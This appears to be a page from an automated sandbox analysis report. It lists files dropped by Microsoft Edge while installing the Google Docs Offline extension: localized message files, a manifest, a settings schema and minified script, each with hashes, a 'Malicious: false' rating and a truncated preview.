SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break 